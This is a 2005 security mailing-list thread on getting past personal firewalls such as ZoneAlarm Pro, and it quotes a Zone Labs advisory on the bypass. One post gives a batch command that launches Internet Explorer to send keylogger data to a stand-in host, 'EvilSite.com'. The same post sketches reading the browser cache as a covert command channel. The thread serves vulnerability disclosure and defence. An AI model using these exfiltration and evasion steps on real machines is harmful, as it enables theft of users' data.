RE: Bypassing Personal Firewall, is it that* hard?

["Debasis Mohanty" <mail () hackingspirits com>]

Just to correct my last statement in my previous reply - 
> > There is another way by which an evil-code can get this run is by moving
the batch file to system startup 
> > or pointing it in the registry to run on system boot but this will be a
warning signal for the user.  

Even ZA Pro blocks and warns the user if some program (evil or trusted) is
trying to become a system startup program. Sorry for that mistake had tooo
much with Paul & Zone Labs ;-)

-D

-----Original Message-----
From: full-disclosure-bounces () lists grok org uk
[mailto:full-disclosure-bounces () lists grok org uk] On Behalf Of Debasis
Mohanty
Sent: Tuesday, October 04, 2005 12:25 AM
To: 'Bipin Gautam'; 'Zone Labs Security Team'
Cc: full-disclosure () lists grok org uk; bugtraq () securityfocus com
Subject: RE: [Full-disclosure] Bypassing Personal Firewall, is it that*
hard?

Bipin Gautam wrote:
> > Anyways... is Bypassing Personal Firewall & let an internal (evil)
application communicate 
> > with the external world,  the hard.  

Yes Indeed !! As long as you are trying out this concept with the current
versions of ZA Pro and few prior versions... The beauty of ZA Pro is, it
even traps inter-process communications and windows messaging between two
different processes and prompts for user's permission. This goes ahead of
normal desktop based fw with more defense methods than just protecting a PC
from network based attacks. 


> > Suppose; it creates a batch file run the batch file  (evil.bat) &
executes this command
> > ....Internet Explorer\> iexplore.exe
www.EvilSite.com/?cmd=submit&f=___KeyLog__

To execute the batch file, the evil-program needs to trigger the execution
of the batch file and this is easily prevented by ZA Pro.. Normally the
evil-code will use the api shell() which is prevented. 

However, this will work if the users click on the batch file or run it via
Start->Run but this is not the way a evil-code works. In this scenario 
Start->ZA
Pro clearly distinguishes between user interventions and a program
communicating with another program. 


There is another way by which an evil-code can get this run is by moving the
batch file to system startup or pointing it in the registry to run on system
boot but this will be a warning signal for the user. 

- D



-----Original Message-----
From: full-disclosure-bounces () lists grok org uk
[mailto:full-disclosure-bounces () lists grok org uk] On Behalf Of Bipin Gautam
Sent: Monday, October 03, 2005 11:57 PM
To: Zone Labs Security Team
Cc: full-disclosure () lists grok org uk; bugtraq () securityfocus com
Subject: [Full-disclosure] Bypassing Personal Firewall, is it that* hard?

hello list,
Lately 'Debasis Mohanty' was refreshing some old issues. Anyways... is
Bypassing Personal Firewall & let an internal (evil) application communicate
with the external world,  the hard. I mean... OK try this........ Lets.. me
give you a simple concept. I'll call it 'passive communication' ( in lack of
better world)

say... a backdoor want to communicate to its server... It can do is,.... use
a trusted internal application to do the job. Suppose; it creates a batch
file run the batch file  (evil.bat) & executes this command

....Internet Explorer\> iexplore.exe
www.EvilSite.com/?cmd=submit&f=___KeyLog__

the batch file will get executed & Internet explorer will happily send the
DATA. This trick can be used to send OUTPUT as well as get input... without
trigering the firewall.

To get input; the backdoor can do is... say, run similar BAT script:

....Internet Explorer\> iexplore.exe www.EvilSite.com/?cmd=ANY_NEW_COMMANDS

well... the history of the page
www.EvilSite.com/?cmd=ANY_NEW_COMMANDS will be there in the IE cache... Then
the backdoor can do is... RUN a string based 'GREP' in the IE cache & see if
there is any new job to acomplish.

just a rough theory... but ya its POSSIBLE; to let a internal backdoor have
I/O with its server without trigering the firewall alert....

---------------
yap it does work... using the same trick can't the backdoor happily
communicate with its server using the trick

On 9/30/05, Zone Labs Security Team <security () zonelabs com> wrote:
> Zone Labs response to "Bypassing Personal Firewall (Zone Alarm Pro) 
> Using DDE-IPC"
>
> Overview:
>
> Debasis Mohanty published a notice about a potential security issue 
> with personal firewalls to several security email lists on
> September 28th, 2005.   Zone Labs has investigated his claims
> and has determined that current versions of Zone Labs and Check Point 
> end-point security products are not vulnerable.
>
>
> Description:
>
> The proof-of-concept code published uses the Windows API function
> ShellExecute() to launch a trusted program that is used to access the 
> network on behalf of the untrusted program, thereby accessing the 
> network without warning from the firewall.
>
>
> Impact:
>
> If successfully exploited, a malicious program may be able to
> access the network via a trusted program.   The ability to
> access the network would be limited to the functionality of the 
> trusted program.
>
>
> Unaffected Products:
>
> ZoneAlarm Pro, ZoneAlarm AntiVirus, ZoneAlarm Wireless Security, and 
> ZoneAlarm Security Suite version 6.0 or later automatically protect 
> against this attack in the default configuration.
>
> ZoneAlarm Pro, ZoneAlarm AntiVirus, ZoneAlarm Wireless Security, and 
> ZoneAlarm Security Suite version 5.5 are protected against this attack 
> by enabling the "Advanced Program Control" feature.
>
> Check Point Integrity client versions 6.0 and 5.5 are protected 
> against this attack by enabling the "Advanced Program Control" feature.
>
>
> Affected Products:
>
> ZoneAlarm free versions lack the "Advanced Program Control"
> feature and are therefore unable to prevent this bypass technique.
>
>
> Recommended Actions:
>
> Subscribers should upgrade to the latest version of their ZoneAlarm 
> product or enable the "Advanced Program Control" feature.
>
>
> Related Resources:
>
> Zone Labs Security Services http://www.zonelabs.com/security
>
>
> Contact:
>
> Zone Labs customers who are concerned about this vulnerability or have 
> additional technical questions may reach our Technical Support group
> at: http://www.zonelabs.com/support/.
>
> To report security issues with Zone Labs products contact 
> security () zonelabs com. Note that any other matters sent to this email 
> address will not receive a response.
>
>
> Disclaimer:
>
> The information in the advisory is believed to be accurate at the time 
> of publishing based on currently available information. Use of the 
> information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information.
> Neither the author nor the publisher accepts any liability for any 
> direct, indirect, or consequential loss or damage arising from use of, 
> or reliance on, this information. Zone Labs and Zone Labs products, 
> are registered trademarks of Zone Labs LLC. and/or affiliated 
> companies in the United States and other countries.
> All other registered and unregistered trademarks represented in this 
> document are the sole property of their respective companies/owners.
>
> Copyright: (c)2005 Zone Labs LLC All rights reserved. Zone Labs, 
> TrueVector, ZoneAlarm, and Cooperative Enforcement are registered 
> trademarks of Zone Labs LLC The Zone Labs logo, Check Point Integrity 
> and IMsecure are trademarks of Zone Labs, LLC. Check Point Integrity 
> protected under U.S. Patent No. 5,987,611. Reg. U.S. Pat.
> & TM Off. Cooperative Enforcement is a service mark of Zone Labs LLC.
> All other trademarks are the property of their respective owners.
> Any reproduction of this alert other than as an unmodified copy of 
> this file requires authorization from Zone Labs. Permission to 
> electronically redistribute this alert in its unmodified form is 
> granted. All other rights, including the use of other media, are 
> reserved by Zone Labs LLC.

--

Bipin Gautam

Zeroth law of security: The possibility of poking a system from lower
privilege is zero unless & until there is possibility of direct, indirect or
consequential communication between the two...


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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/